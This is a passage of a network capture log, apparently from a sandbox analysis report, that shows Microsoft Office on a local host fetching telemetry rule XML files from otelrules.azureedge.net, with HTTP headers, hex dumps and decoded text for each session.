xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:45 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:45 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192145Z-1866b5c5fbb2t6txhC1DFWa2qc000000069000000000afc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:45 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:45 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:45 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:45 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 57eb6011-f01e-003f-70b3-39d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192145Z-16547b76f7fpdsp9hC1DFW8f5000000003vg000000008sz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 19:21:45 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:45 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:45 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192145Z-1866b5c5fbbfkdfghC1DFW4sv400000005dg000000007cgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:45 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:46 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:46 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f0850b4c-401e-005b-0318-379c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192146Z-164f84587bfrrmqdhC1DFWvu6s00000004sg00000000s3z3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:46 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:46 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:46 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192146Z-1866b5c5fbb2t6txhC1DFWa2qc000000066g00000000kvb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:46 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:46 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192146Z-16547b76f7fgvq8chC1DFWhd2w00000006pg00000000zzbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:46 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:46 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:46 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192146Z-1866b5c5fbb5hnj5hC1DFW18sc00000006gg000000000qwu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:46 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:46 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:46 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192146Z-16547b76f7f5b5tthC1DFWuk8400000004t000000000ru2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:46 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:47 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:47 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:47 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192147Z-16547b76f7fzwxm2hC1DFWt5hw00000003tg00000000gyuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 19:21:47 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:47 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:47 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:47 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192147Z-16547b76f7fd4rc5hC1DFWkzhw00000006d000000000ysch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:47 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:47 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:47 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:47 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192147Z-1866b5c5fbbz7hb5hC1DFWru7c000000065g00000000cs4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:47 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:47 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:47 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:47 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192147Z-16547b76f7fxqj4khC1DFWpypw00000003m000000000dq4v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
